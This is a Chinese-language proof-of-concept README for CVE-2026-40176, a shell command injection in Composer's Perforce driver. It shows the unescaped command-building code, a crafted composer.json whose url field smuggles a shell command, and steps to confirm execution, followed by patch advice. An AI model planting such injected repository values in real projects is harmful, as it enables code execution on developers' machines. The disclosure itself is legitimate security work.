
CVE-2026-40176的概念验证,这是Composer的Perforce驱动中的OS命令注入漏洞,允许通过精心构造的composer.json实现远程代码执行。
本仓库是 Composer 的 Perforce VCS 驱动中存在的严重操作系统命令注入漏洞 CVE-2026-40176 的概念验证 (PoC)。该漏洞影响 Composer 2.2.27 和 2.9.6 之前的版本。
漏洞存在于 Perforce::generateP4Command() 方法中。在构建 shell 命令时,由于对 url、p4user、client 等仓库设置值的清理不充分,攻击者可以利用其控制的 composer.json,在受害者执行 composer install 或 composer update 时执行任意命令。
发现者: saku0512 (GitHub)
本项目仅用于教育目的和经过授权的道德安全测试。
对于本工具的误用、造成的损害或违法行为,作者不承担任何责任。未经授权访问计算机系统是违法的。使用本软件即表示您同意仅在获得明确授权的环境中进行安全测试。
在 src/Composer/Util/Perforce.php 的 generateP4Command() 方法中,直接从仓库设置中获取字符串并拼接构建 shell 命令。
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' '; // 未转义
if ($useClient) {
$p4Command .= '-c ' . $this->getClient() . ' '; // 未转义
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // 未转义
如果这些值包含 ;、&、| 等 shell 元字符,则会被 shell 解释,从而导致命令注入。
请确保已安装 PHP。此 PoC 重现了 Composer 内部的脆弱逻辑。
# 检查 PHP 版本
php -v
攻击者可以创建如下 composer.json:
{
"repositories": [
{
"type": "perforce",
"url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
"depot": "depot"
}
],
"require": {
"some/package": "dev-master"
}
}
附带的 poc.php 重现了易受攻击的 Composer 版本中的内部命令生成和执行逻辑。
# 运行 PoC
php poc.php
检查负载所创建的文件是否存在,以验证命令是否已执行。
ls -l /tmp/pwned_rce_confirmed
如果文件存在,则确认 RCE 成功。
请立即将 Composer 更新到最新版本。
composer self-update
修复方法是对所有来自用户输入的参数应用 ProcessExecutor::escape(),以防止 shell 解释。